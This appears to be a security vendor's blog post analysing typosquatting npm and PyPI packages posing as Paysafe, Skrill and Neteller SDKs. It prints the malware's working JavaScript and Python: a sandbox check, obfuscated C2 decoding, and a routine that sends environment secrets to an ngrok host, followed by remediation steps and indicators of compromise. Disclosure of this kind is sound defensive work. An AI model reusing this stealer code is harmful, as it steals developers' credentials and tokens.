

Coordinated npm and PyPI Campaign Typosquats Popular Secure ...

 socket.dev/blog/npm-pypi-campaign-typosquats-popular-secure-payment-apps

Joseph Edwards

July 7, 2026



[Blog](#)

[Security NewsResearch](#)

Coordinated npm and PyPI Campaign Typosquats Popular Secure Payment Apps

Socket uncovered 17 malicious npm and PyPI packages typosquatting Paysafe, Skrill, and Neteller SDKs to steal developer secrets.

Joseph Edwards

Summarize with AI

Socket's AI scanner detected a cluster of npm and PyPI malware published on July 7, 2026. The 17 packages, published nearly simultaneously, target SDK developers and users of the popular PaySafe, Skrill and Neteller payment applications. Ultimately, the packages perform credential and token theft, exfiltrating stolen data to AWS infrastructure.

Affected Packages

At the time of publication, the following packages were affected. Each npm package published four malicious versions (1.0.0 through 1.0.3), all of which were detected as malware within 6 minutes of publication:

- [npm/paysafe-checkout](#)
- [npm/paysafe-vault](#)
- [npm/neteller](#)
- [npm/skrill-payments](#)
- [npm/paysafe-js](#)
- [npm/paysafe-api](#)
- [npm/paysafe-node](#)
- [npm/paysafe-cards](#)
- [npm/paysafe-fraud](#)
- [npm/paysafe-kyc](#)
- [npm/skrill](#)
- [npm/skrill-sdk](#)
- [npm/paysafe-payments](#)

The affected PyPI packages each published 1 malicious version (1.0.0) thus far:

- [pypi/paysafe-kyc](#)
- [pypi/paysafe-payments](#)
- [pypi/paysafe-sdk](#)
- [pypi/paysafe-api](#)

Fake SDK Facade

In one example **paysafe-node**, the exported `PaysafeClient` mimics a real Paysafe REST client:

- Reads `PAYSAFE_API_KEY` and `PAYSAFE_ENV` from the environment
- Exposes `payments.create/get` and `customers.create/get`
- Returns `{ success: true, method, path }` immediately (no outbound calls to real Paysafe endpoints). The `api.paysafe.com` / `api.test.paysafe.com` strings exist only as camouflage.

```
class PaysafeClient {
  constructor(config = {}) {
    this.apiKey = config.apiKey || process.env.PAYSAFE_API_KEY || null
    this.env = config.environment || process.env.PAYSAFE_ENV || 'TEST'
```

```

    this.base = this.env === 'LIVE'
      ? 'https://api.paysafe.com'
      : 'https://api.test.paysafe.com'
  }

  payments = {
    create: async (data) => this._request('POST', '/paymenthub/v1/payments', data),
    get: async (id) => this._request('GET', '/paymenthub/v1/payments/' + id),
  }

  customers = {
    create: async (data) => this._request('POST', '/paymenthub/v1/customers', data),
    get: async (id) => this._request('GET', '/paymenthub/v1/customers/' + id),
  }

  async _request(method, path, data) {
    if (this.apiKey) {
      setTimeout(() => exfiltrate({ m: method, p: path, k: this.apiKey.substring(0,
10) })), 11768)
    }
    return { success: true, method, path }
  }
}

```

Anti-Analysis and Sandbox Evasion

```

function isSandbox() {
  try {
    const os = require('os')
    const cpus = os.cpus()
    if (!cpus || cpus.length < 2) return true

    const hostname = os.hostname().toLowerCase()
    const username = os.userInfo().username.toLowerCase()
    const sandboxIndicators = [
      'sandbox', 'analyzer', 'cuckoo', 'virus', 'malware', 'vmware', 'vbox',
    ]

    for (const indicator of sandboxIndicators) {
      if (hostname.includes(indicator) || username.includes(indicator)) {
        return true
      }
    }
    return false
  } catch (e) {
    return false
  }
}

```

The malware returns early and skips exfiltration when the following are detected:

- **<2 CPU cores** (common in sandboxes)
- Hostname or username
contains: sandbox, analyzer, cuckoo, virus, malware, vmware, vbox

C2 Hostname Encoding

The C2 domain is hidden behind three decode steps:

```
const XOR_KEY = Buffer.from('SGf6lmb7GHUg99Z6R2U3g==', 'base64')

function decodeString(base64) {
  const buf = Buffer.from(base64, 'base64')
  const result = Buffer.alloc(buf.length)
  for (let i = 0; i < buf.length; i++) {
    result[i] = buf[i] ^ XOR_KEY[i % XOR_KEY.length]
  }
  return result.toString()
}

// Step 1: XOR decode
const raw =
decodeString('iuCM4lmdmqNX90ElK5lWXTAYxe4ZkZWjUPmgI54jVl0+GIXspGou5epBXC+aZ+msPA==')
// Step 2: subtract 17 from each char code
const shifted = raw.split('').map(c => String.fromCharCode(c.charCodeAt(0) - 17)).join('')
// Step 3: reverse
const c2Host = shifted.split('').reverse().join('')
// → 'caliber-spinner-finishing.ngrok-free.dev'
```

All Discovered Credentials and Tokens Stolen from Environment Variables

Exfiltration is gated on this.apiKey being set (constructor arg or PAYSAFE_API_KEY env var). When any _request() method runs, the following routine named exfiltrate executes:

```
function exfiltrate(extra) {
  try {
    if (isSandbox()) return

    const https = require('https')
    const os = require('os')

    const payload = JSON.stringify({
      hostname: os.hostname(),
```

```

    username: os.userInfo().username,
    cwd: process.cwd(),
    env: Object.keys(process.env)
      .filter(k =>
        k.includes('KEY') ||
        k.includes('SECRET') ||
        k.includes('TOKEN') ||
        k.includes('PASS') ||
        k.includes('AUTH') ||
        k.includes('API')
      )
      .reduce((acc, k) => ({ ...acc, [k]: process.env[k].substring(0, 100) }), {}),
    time: Date.now(),
    package: 'paysafe-node',
    extra: extra || {},
  })

  const body = Buffer.from(payload)
  const req = https.request({
    hostname: 'caliber-spinner-finishing[.]ngrok-free.dev',
    port: 443,
    path: '/',
    method: 'POST',
    headers: {
      'content-type': 'application/json',
      'content-length': body.length,
    },
  })
  req.write(body)
  req.end()
} catch (e) {}
}

```

The data sent to Command and Control include:

- Victim fingerprint - hostname, username, cwd (current working directory), time
- env - all environment variables matching KEY, SECRET, TOKEN, PASS, AUTH, or API (values capped at 100 chars)
- package hardcoded package name
- Extra - HTTP method, API path, first 10 chars of the Paysafe API key

In practice, the environment variables captured would include PAYSAFE_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, NPM_TOKEN, and any similarly named secrets in CI runners or developer machines.

The PyPI packages were not gated on any API keys and activate universally based on their **init.py** placement. Their behavior is functionally equivalent to the NPM packages:

```

# {paysafe-sdk}
import os,json,base64,time,platform,getpass,ctypes,sys
_k=base64.b64decode('3zWd1Ua8V/wcYtYxZmQZPQ==')
_cb=base64.b64decode('HbTtun/MJ4FtWqBLGxZgBK1M6aY4yC6IbVqrQR8dbUahDeClK8ggkHI=')
_c2=''.join(chr(ord(c)-11) for c in ''.join(chr(_cb[i]^_k[i%len(_k)]) for i in
range(len(_cb))))[::-1])
def _h():return any(x in platform.node().lower() for x in
['sandbox','analyzer','cuckoo','virus','vmware','vbox','malware'])
def _x(s):
    b=base64.b64decode(s);r=bytearray(len(b))
    for i in range(len(b)):r[i]=b[i]^_k[i%len(_k)]
    return r.decode()
def _e(d=None):
    if _h():return
    try:
        import urllib.request as ur
        p=json.dumps({'hn':platform.node(),'us':getpass.getuser(),'cw':os.getcwd(),
            'ev':{'k:os.environ[k][:100] for k in os.environ if any(x in k.upper() for x in
['KEY','SECRET','TOKEN','PASS','AUTH','API'])},
            'tm':time.time(),'pk':'paysafe-sdk','ex':d or {}}).encode()
        r=ur.Request(f'https://{_c2}:443/',data=p,headers={'Content-
Type':'application/json'})
        ur.urlopen(r,timeout=5)
    except:pass
class PaysafeClient:
    def __init__(self,k=None,e=None):
        self.k=k or os.environ.get('PAYSAFE_API_KEY')
        self.env=e or os.environ.get('PAYSAFE_ENV','TEST')
        self.b='https://api.paysafe.com' if self.env.upper()=='LIVE' else
'https://api.test.paysafe.com'
    def create_payment(self,a,c='USD'):
        if self.k:time.sleep(12);_e({'m':'create_payment','k':self.k[:10]})
        return {'status':'success','amount':a,'currency':c}
    def create_customer(self,d):return {'status':'success','id':'cust_001'}
__all__=['PaysafeClient']

```

Campaign Attributes

While this campaign was quickly detected, a couple of attributes lead us to believe this actor is likely to return in a structured way:

1. Targeting - The threat actor targeted payment app SDKs, which might indicate a financial motive or the desire to monetize using payment app accounts.

2. Obfuscator usage - The threat actor used their obfuscator “properly.” They did not re-use the same obfuscation key across versions or packages, which is intended to prevent signatures from tracking this malware by the same key. This resulted in different hashes for each file.
3. Ngrok infrastructure - Ngrok is popular among cybercriminal threat actors. The IP resolved for the Ngrok hostname had reputation for being a Command and Control server for other stealers like NjRAT. This could indicate shared infrastructure with established cybercrime groups, or their influence.
4. Attempted Sandbox Evasion - Awareness of defender technologies like sandboxes (and their limitations if not configured) indicates some knowledge of the playing field.
5. Multi-Ecosystem - The attacker shows the ability to pivot between ecosystems, which can impede defenders with only one ecosystem of visibility

Recommended Actions

1. **Rotate all secrets** on any machine that imported or executed this package — especially env vars matching the harvest regex.
2. **Search dependency trees** for all 13 campaign package names; block at registry proxy level.
3. **Hunt outbound HTTPS** to `.ngrok-free.dev` from build/CI hosts (unusual for payment SDKs and legitimate applications).
4. **Audit CI logs** for `PAYSAFE_API_KEY` usage combined with any of the listed package names.

Indicators of Compromise

Files

`index.js`

- `ce09810adca70ebec87bc455380ef629ceaa2a0d926149d9115604060167682c`
- `b2ea8d69f6792a87327ffde2ee4551bb6b99617f53e1ba71bf9a70f45dbc57ea`
- `8a70a5c1075f2dea4db94633ddc64b0d03d0385fdeda7c226acc944331feb43`
- `c8b4d17c1f0aa7c50f2fa23d7c328482a4ad2c4da4d600f358ebdf200cbefd83`
- `9fd06d823d54183cc91625fdc6decffe8db2863f6499a955656ebdcc089792cf`
- `615805652b2f006e69512b90d0d63883d7ae1ede69d86384fd77bd46235b2369`
- `6dc672e3bab8bcf80c66b2f95150067fb47429d4cf65eb95215e5f3abc7cade5`
- `4a4b5c1bc1e948c853cb0978c07c7b8d1540c7b1ded95f8d5ad25c126cb6c7b0`
- `9727c804c4354e481d2ff9d4934bd1b2518293a9ca34a14f5c7ae9d0cd30ce94`

- 313853a82bce61052c00e6a6af85b5069e007a76122c727f31661bc636b12f14
- 2cbfc4e4b1de5e68ab81fba7e1b0c711b4d26197b48ea4db6819c9cea223b0ed
- a0313822513f9b89479f666888a4784a3fc99b4cc4566213dcda66b03b47120c
- 3a0dd3479eaf85b65e5abd63d6451f98506faddee47cf4bebd9f91296abb29f0
- 39371ac7061168dd3d890061267b3875bc4b30dca5e28d40dbc27a4396439ff1
- c51c0b6c7817443b021aff44d4416c09fd039849db81860b9b5144e789fa3987
- 6e251c3d2bde8ffff0487cleecd359c4a544a09fd708755020e4b1c53ad6b8dd1
- cd7255730b6a7a3895d622d37d0e8f984d2d280689acef56ff195d663e7723ad
- 5c4faef80c83c7ec0925a4aacb4bddabe82b91066ac41305907ba277cd7b3b85
- 50cb7550224d8d227a0625e7f53be86924d8e057e403b6b91b83ea20df834048
- 1bae9f2fb9866422f07345501fa2cb4c3a99f2652c8c9decdc27ffbf9714e7bc
- 1df8c579ffcbf5527b1856bd1774601a5188b380e442c5a0fbd400bd86a4501b
- b29973eda4d0c090608c15a976688cad0b2114fdc0dcb89ad37515287ba13aad
- 9e9655f54bfac8a937d78ac506722bae1468ead4cc9ee95b35e0f8ef17ee13d9
- 67e4d6a4f53098e48bfa6ecceea754592bc249b83404bcfb8542977ae36dac4
- 1bfa32548676d32b7639d3171e2f9feefba5026dc336968c91f4ae2b152c5410
- 2bc8af4bd2f539630f7800f3491b64c7e2bffe12e955d0d4f03a4f6a4b0018bd
- eae055c5736366811d2a4b1f78ff206486e7f7445040122efbe023ecd2d20bcc
- d4ed2d87942fbefa5d7b7f19fb6f2e9bc293c96bf577bb97ed3ca56185abcf25
- 447484c76a06918d7f6f6c6f95ee2bced6dd2e9b282c6f5b92b2b7c0976381d5
- f43cb68850a2506805d60ff466f54eba331e1cc2a513b329f5121e0c39104418
- 1314fc888ca5b3ea91a04e1f5b63039ffc7fc3832b8d809a28ad549c6f9d4f23
- af66bc2b516d1ef71af9b6ee9f8f5af0a99fed562b34809cd55071b94c2d1304
- b157a66826d27512c3618817fee924e53d14cabb2c4c7f454affde37350f55f0
- 2303a74a5fac917279f1078e03a4bfd6afbb89462f97d7344ed10e6e9e9e92b7
- 5242c5086d75a492d14e474de7c8f34b18ec0a8a9ce6d77eec8675a9572d9d23
- 1d567795a366b9edcfef7f1fa2d398b7cb41890dd3b2f3f1f9803de0cdba0c89
- c2e4483abea830ba8b8230540ace51788d0712bed9006697dddb9cbf133c151
- 390bca9d70efa42cb792f7f677189821a24527cd4298ab2acb954df0abb5c1c3
- f7d9865ea3874d2b135eeee0aa0d12fc108d89e1dd706e4e40eb7605b76d35ca
- 2b7696575278e6e223cc44553c687e45afd04df7eb32efbf49b39da64b795982
- 2edb3f162f9676196e818d9b795d599ba119a961ffe98c4866351735980d213d
- 727fe9c1dfa39d6590012e0593c9837c628fc2cd22aa0f4e486b7ed1aec02697
- 8a58e3ed713c1c70f421ab56a18cfb6a120c960d227e495b511c2552f25f188b
- 67eb3bd505ebfffbfd73fc3ef0b2976c375df732f0bd0496ed6653c3e2be5a0e5
- 616b41657e9afaa9354fc1a106393373dcbf8aac8455b7d2cbbb44463434528e
- 52a57c502e40b3f9897d0ca32bba6f844b4113f5c017627ea9eba660eb47f405
- d1889d81cfa99d52017732da9dc52127d03893037874c8671943cede4b8d1bb2
- a677c02e545941e43f8b21a5761b035e911b53e2c065fea219e0f3462f282fd8

- e076e13a7e112d364f03bd1ead7abaa83249d544491621254860ab0a73adc9b9
- c2a69a33b086364ca51b030b6b15e99be46ce8255ddf62839a4fc7f2b34023de
- 5cd62e708ae4393c99579ec1433571998299bf7e2fde9bafefb9a79f8bdf065e9
- 61b61dd25cd8dcc43cd78418f3e3eb3fd9002d9e49961eeffb12c1022ce4c3b63

__init__.py

- c6af37a6739f0d919ab7049caf3a85831cab44bdbea27e0d9de7adec80334e2b
- b04daeacd1d1c9020cce2a97fa7af83dbedf4e6d17dd12c0f337f32240399785
- dabb47d75f2efa6a5540661484efa989ccb338f24938b23152f14f3e424b0cb5
- c2a361a7d8feb95be97c957fc7652d348f4fa9a987bde5f09883f46b65c460f1

Network Indicators

- hxxps://caliber-spinner-finishing[.]ngrok-free[.]dev:443/
- caliber-spinner-finishing[.]ngrok-free[.]dev

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Enter your email